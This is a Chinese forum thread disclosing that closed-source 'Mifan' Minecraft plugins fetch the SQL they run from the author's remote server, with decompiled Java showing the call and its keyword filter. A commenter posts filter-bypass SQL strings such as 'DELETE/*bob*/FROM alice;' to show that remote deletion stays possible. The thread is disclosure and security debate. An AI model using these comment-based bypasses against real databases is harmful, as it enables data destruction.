知名Minecraft插件 米饭Minecraft插件被曝后门
我们发现了 米饭系列 插件的 数据库后门,我们在此呼吁保护 服务器数据库安全,不要使用 米饭系列 插件。其插件在处理数据库时,所有的SQL指令均为 米饭验证服务器 提供。如果米饭将服务器提供的值改为 DELETE * 你们应该都知道后果的。https://www.minebbs.com/threads/ju-bao-cha-jian-zuo-zhe-mi-fan-cha-jian-nei-cun-zai-shan-ku-hou-men.35422/最新信报:
PlayerWarp也有PlayerTask也有PlayerTitle也有
官方对此事件的回复是为防止盗版插件 但是此理由过于牵强 SQL语句的操作空间巨大 即使是为了反盗版也不应用这种手段 本帖最后由 huzpsb 于 2025-3-31 00:26 编辑
关于米饭插件存在远程SQL指令下发的个人观点
(个人观点/利益无关)
首先,非常遗憾的是,米饭的远程SQL指令下发确实是刻意的不安全行为。换言之,如果米饭希望,他确实可以远程删除你的数据库。
但是,至少在我看来,米饭并没有主观恶意....理由如下:
首先,米饭提供了SQLite...并且在相当多的情况下,这是默认的存储方式。可以预见的是,米饭自己知道大多数用户的存储方式是SQLite...即使是MySQL,绝大多数使用者即使懒到使用宝塔等方案,也不会发生数据库账号越权问题...
其次,米饭确实没有写远程代码加载。从某种意义上说,远程下拉一个shell并执行比当前方案(远程下发SQL指令)更好编写...这确实可以视为一种对保证安全性的努力...
最后...也是最重要的一点...即使插件删除自身的数据库,插件及插件生成的文件的知识版权也本应归米饭所有;他并没有删除自己没有知识产权的文件...这并不是一件那么值得指责的事情...
当然,数据删除是一件非常膈应人的事。但是专有软件确实可以进行类似的操作;哪怕是通过删除数据库以外的方法。举例而言,可以引入一种私有的文件格式,这种文件格式不能被其他任何软件打开。这和删除数据库的差异其实没有那么大。
如果你问我,是否会继续使用米饭的插件....我就从来没有用过米饭的插件....我在选择插件时会直接排除所有不开源的(
此外,米饭的插件虽然确实有经过混淆,但是也符合由md_5规定的弱混淆标准。参考文献:
https://www.spigotmc.org/threads/approved-obfuscators.420746/ ;我们也大可以不必急着对米饭定性,等一手SpigotMC的判决...
我会把事情捅过去的 : )
如果SpigotMC封禁了米饭,那就追着封吧...如果没有的话,我提议,将所有存在网络行为的而不是混淆了的插件进行特殊标示;用户在了解风险后,可自行选择是否使用此类插件。
以上
Authored & signed, huzpsb(aka Venti)
代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除数据可能
2. 禁止了各种清空数据或者删除表的关键字存在
3. 禁止了操作非本插件以外表的sql
请反编译查看最新代码来判断
本帖最后由 huzpsb 于 2025-3-31 00:21 编辑
ヽ米饭 发表于 2025-3-30 23:20
代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除 ...
https://img.picui.cn/free/2025/03/31/67e96af6c95fe.png
非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:
DELETE/**/*
huzpsb 发表于 2025-3-31 00:03
非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:
3. 禁止了操作非本插件以外表的sql
你可以试试,绝对是报错的 ヽ米饭 发表于 2025-3-31 08:00
3. 禁止了操作非本插件以外表的sql
你可以试试,绝对是报错的
请允许我附上我看到的源代码。
// Decompiled with: Procyon 0.6.0
// Class Version: 8
// HsDeob
// 2025/3/31 13:38
package cn.handyplus.warp.lib;
import cn.handyplus.warp.lib.expand.VerifySignReq;
import java.util.Iterator;
import java.util.HashMap;
import cn.handyplus.warp.lib.expand.DbSqlReq;
import cn.handyplus.warp.lib.expand.PluginDbReq;
import java.util.Map;
public class DbHttpUtil
{
public static String DB_URL;
public static final Map SQL_CACHE_MAP;
public static String selectCountSql(final DbSql dbSql, final String dbField) {
final PluginDbReq requestSign;
(requestSign = requestSign()).setDbSql(doQuery(dbSql));
requestSign.setDbType("selectCountSql");
requestSign.setDbField(dbField);
return requestFromCloud(requestSign);
}
private static String requestFromCloud(final PluginDbReq pluginDbReq) {
try {
if (SignUtil.checkSign() && SignConstants.COMMAND_PERMISSION) {
return "select 1";
}
final String json;
final String md5Str = SecureUtil.md5Str(json = JsonUtil.toJson(pluginDbReq));
final String s;
if (StrUtil.isNotEmpty(s = DbHttpUtil.SQL_CACHE_MAP.get(md5Str))) {
MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "命中缓存:").append(md5Str).toString());
return s;
}
final String post = HttpUtil.post(DbHttpUtil.DB_URL, json);
if (!"select 1".equalsIgnoreCase(post)) {
DbHttpUtil.SQL_CACHE_MAP.put(md5Str, post);
}
sanitize(post);
return post;
}
catch (final Throwable t) {
throw t;
}
}
private static DbSqlReq doQuery(final DbSql dbSql) {
// 疑似链式语句被javac -O展开
final DbSqlReq dbSqlReq5;
final DbSqlReq dbSqlReq4;
final DbSqlReq dbSqlReq3;
final DbSqlReq dbSqlReq2;
final DbSqlReq dbSqlReq = dbSqlReq2 = (dbSqlReq3 = (dbSqlReq4 = (dbSqlReq5 = new DbSqlReq())));
dbSqlReq2.setTableName(dbSql.getTableName());
dbSqlReq2.setFieldInfoMapSize(dbSql.getFieldInfoMap().size());
dbSqlReq.setWhere(dbSql.getWhere());
dbSqlReq3.setUpdatefieldList(dbSql.getUpdatefieldList());
dbSqlReq3.setLimit(dbSql.getLimit());
dbSqlReq4.setOrder(dbSql.getOrder());
dbSqlReq5.setGroup(dbSql.getGroup());
dbSqlReq5.setField(dbSql.getField());
return dbSqlReq5;
}
public static String deleteDataSql(final DbSql dbSql) {
final PluginDbReq requestSign = requestSign();
requestSign.setDbSql(doQuery(dbSql));
requestSign.setDbType("deleteDataSql");
return requestFromCloud(requestSign);
}
static {
DbHttpUtil.DB_URL = "https://admin.ljxmc.top/api/public/db/sql";
SQL_CACHE_MAP = new HashMap();
}
public static String insertDataSql(final DbSql dbSql) {
final PluginDbReq requestSign = requestSign();
requestSign.setDbSql(doQuery(dbSql));
requestSign.setDbType("insertDataSql");
return requestFromCloud(requestSign);
}
public static String selectDataSql(final DbSql dbSql) {
final PluginDbReq requestSign = requestSign();
requestSign.setDbSql(doQuery(dbSql));
requestSign.setDbType("selectDataSql");
return requestFromCloud(requestSign);
}
private static void sanitize(String string) {
boolean bl;
block5: {
if ("DELETE *".equalsIgnoreCase(string)) {
throw new RuntimeException("异常sql! 出现delete *");
}
if (string.toUpperCase().contains("TRUNCATE")) {
throw new RuntimeException("异常sql! 出现 TRUNCATE");
}
if (string.toUpperCase().contains("DROP")) {
throw new RuntimeException("异常sql! 出现 DROP");
}
boolean bl2 = false;
MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "本系统表名:").append(JsonUtil.toJson(DbConstant.TABLE_NAME_LIST)).toString());
for (String string2 : DbConstant.TABLE_NAME_LIST) {
if (!string.contains(string2)) continue;
bl = bl2 = true;
break block5;
}
bl = bl2;
}
if (!bl) {
throw new RuntimeException(new StringBuilder().insert(0, "异常sql! 不是本插件sql:").append(string).toString());
}
}
public static String updateDataSql(final DbSql dbSql) {
final PluginDbReq requestSign = requestSign();
requestSign.setDbSql(doQuery(dbSql));
requestSign.setDbType("updateDataSql");
return requestFromCloud(requestSign);
}
private static PluginDbReq requestSign() {
final PluginDbReq pluginDbReq = new PluginDbReq();
if (InitApi.PLUGIN == null) {
return pluginDbReq;
}
final VerifySignReq signReq = SignUtil.getSignReq();
final PluginDbReq pluginDbReq2 = pluginDbReq;
final VerifySignReq verifySignReq = signReq;
final PluginDbReq pluginDbReq3 = pluginDbReq;
final PluginDbReq pluginDbReq4 = pluginDbReq;
final VerifySignReq verifySignReq2 = signReq;
final VerifySignReq verifySignReq3 = signReq;
final PluginDbReq pluginDbReq5 = pluginDbReq;
final PluginDbReq pluginDbReq6 = pluginDbReq;
final VerifySignReq verifySignReq4 = signReq;
pluginDbReq.setPluginName(signReq.getPluginName());
pluginDbReq6.setVersion(verifySignReq4.getVersion());
pluginDbReq5.setSecretKey(verifySignReq4.getSecretKey());
pluginDbReq5.setSign(verifySignReq3.getSign());
pluginDbReq4.setPort(verifySignReq2.getPort());
pluginDbReq3.setMac(verifySignReq2.getMac());
pluginDbReq2.setIp(verifySignReq.getIp());
pluginDbReq3.setSignVersion(SignVersionEnum.ONE.getVersion());
return pluginDbReq2;
}
}
在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为bob的表,以下代码即可删除alice表中的全部项目:
DELETE/*bob*/FROM alice;
不妨让我们试一试。
如果我对字节码的处理有误,还烦请指出。感谢!
huzpsb 发表于 2025-3-31 13:49
请允许我附上我看到的源代码。
在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为 ...
sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对
不过你如果对还对安全有疑问,我可以给你3个解决办法
1. 使用sqlite 开启每日备份
2. 使用mysql单独一个库 开启每日备份
3. 改用其他插件,我并没有强迫任何人使用我插件 本帖最后由 huzpsb 于 2025-3-31 14:47 编辑
ヽ米饭 发表于 2025-3-31 14:15
sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对
不过你如果对还 ...
:/
https://www.w3ccoo.com/sql/sql_comments.html
https://dev.mysql.com/doc/refman/8.0/en/comments.html
我理解并认同您希望保护您的插件不被盗版;
我的建议是您本地校验一下语句的哈希,例如sha256...
哈希算法是无法反推原文的;因此这也不会损害您的保护强度。
huzpsb 发表于 2025-3-31 14:46
:/
https://www.w3ccoo.com/sql/sql_comments.html
https://dev.mysql.com/doc/refman/8.0/en/comments.ht ...
你这种使用注释绕过的骚操作是在最新版本被禁止了的
页:
[1]
2